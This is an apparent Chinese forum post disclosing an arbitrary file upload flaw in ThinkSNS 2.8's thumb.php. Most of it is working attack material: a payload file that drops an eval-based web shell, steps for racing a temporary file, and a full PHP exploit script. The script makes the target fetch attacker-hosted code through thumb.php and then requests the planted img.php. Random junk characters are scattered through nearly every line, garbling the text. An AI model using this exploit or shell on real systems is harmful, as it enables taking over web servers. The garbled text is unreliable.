漏洞版本
( V, s a" Y7 K+ g/ v- M存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)1 {" f- j% l1 A* V3 Z3 g/ v: L; j8 G
漏洞文件 F* D6 p F. t F+ f3 N
存在漏洞的文件为:thumb.php9 c/ F7 t: ]1 P* p, c
作者:韦鲲鹏
4 A& R3 [& g6 W1、 准备如下PHP文件并上传到服务器(自己的)。
1 R$ m7 y$ I& q6 u& N9 l+ H文件内容如下:
+ E2 k/ R# L" ?9 L" Q* c2 [<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
0 Q1 L$ R0 b' \" k2、 计算出临时的文件名:
2 I' D' K/ `+ t, u8 U1 G2 E这里我们可以看文件的99行(刚刚是不是没注意呀!)。
, r8 y: ~& j: z
) v; P" `* d' [! g6 b& ?8 B9 F- S5 |3、 上传临时文件。# d5 {* a) W3 S& E3 b
4、 访问临时文件。! i+ ~; R. p ^/ S0 u
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
* B& T" F" |1 _! yExploit文件内容如下:(这个我就不详细解释了)
8 u6 B0 K4 I! i1 S& E" x" _<?php
+ f% O& B% b% Xerror_reporting(0);! q! S+ {' M7 z4 ~! O
set_time_limit(0);
! d# ~2 v. B% t( y" f0 o% `; Vini_set(“default_socket_timeout”, 5);# v' }' w1 h/ U' A/ t: e
function http_send($host, $port, $headers) {
D# f/ N+ @& ]( h$fp = fsockopen($host, $port);
+ K" u0 N& q$ d1 l# U2 ^5 Eif (!$fp) die(‘Connection -> fail’);
! W5 l! R0 A. R# o9 g+ C) Ofputs($fp, $headers);
9 J0 p. Y9 G% h5 ?4 n/ Ireturn $fp;
. \/ R% H, V4 N9 k}
. _' `9 `( q5 n1 g6 Z/ s# g8 \function http_recv($fp) {- V' \- r' c1 i0 Z4 h
$ret=”";
8 M4 n: e/ {9 E! B$ Gwhile (!feof($fp))
% y/ |8 Y% B0 X/ n9 W$ret.= fgets($fp, 1024);* Z1 S& {8 L: h6 A5 O: i m
fclose($fp);: U% p. w d; H5 p
return $ret;5 [4 t2 k" S: e! f$ Z7 S3 |
}
* \6 x6 b$ l' N8 g$ Wprint “\n# ThinkSns Arbitrary File Upload #\n”;
: m: ~: f! _8 F4 [+ ^9 C* l$ c0 G; l. Vprint “# Discovered by 韦鲲鹏 #\n\n”;, P2 E) d0 @6 Y/ i$ C
if ($argc < 4) {
8 a/ h: L: r0 M8 z5 s. v4 Hprint “Usage: php <host> <path> <romote_url>\n”;
2 W7 O* D$ _6 a/ ~- r- cprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;/ A3 |8 I( @1 l* G U
die();
7 a9 L9 A8 p5 I; m' I+ M I% ~0 K. n0 v}
5 v0 d9 Z# e9 D/ A0 [' K$host = $argv[1]; T5 V( o) r3 m. y
$path = $argv[2];% x% q5 ~ `+ n, ^
$url = $argv[3];
. a. ]. I' T- j0 q# l$i=0;, d K0 L" E9 I- o* e0 V8 I
//上传数据包8 c+ q( }) A4 j' e
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;6 ?7 U0 a* Z# |9 a
$headers_up .= “Host: “.$host.”\r\n”;
! ^$ G) P; Z6 P/ Y, T( p$headers_up .= “Connection: close\r\n\r\n”;' n9 @- [6 S) h! [
echo $headers_up;
x" b& c& X- h% [//临时文件访问数据包4 P5 [7 g; ^: c% D
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
3 b% o7 d( a b" j4 ^& y- d$headers .= “Host: “.$host.”\r\n”;
1 | I: n- k6 ]$headers .= “Connection: close\r\n\r\n”;
* E( E! |) t( p7 U7 ?echo $headers;, K& ?! ^$ @1 ?6 |5 o
while(++$i<10) {, c" n5 Q* P. `' Z9 |
fclose(http_send($host, 80, $headers));
5 U3 d9 g* C; E5 _* k; L3 G8 M& R}
" ]: m! y Q7 }+ B3 |* zfclose(http_send($host, 80, $headers_up));' P5 j' n4 q/ z( v" C7 b
while(++$i<50) {, q3 [; K+ L! O3 S
fclose(http_send($host, 80, $headers));
' y: z* O, ]4 }" p L}* W+ {. J M% d; h
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
& `' J! _" k% p' R5 |( v) Z$headers .= “Host: “.$host.”\r\n”;
6 e- ^, J& w) A6 y. r$headers .= “Connection: close\r\n\r\n”;
2 `) ~1 \; [$ C$res=http_recv(http_send($host, 80, $headers));
% {/ ?! I: x' X5 Vif(preg_match(‘/200 OK/’,$res)) {* X* V/ t I& `
print “Success!\n\n”;
. ]# W6 `, F' w, J- u- E, l} else {
g* k7 U- c/ ]6 ^print “Fail!\n\n”;$ a" { w6 X* @% a/ Y( O
}
; F& n+ o5 i6 q, @# B1 J?>; i0 {$ A. W& \) _6 p i) D6 Z
|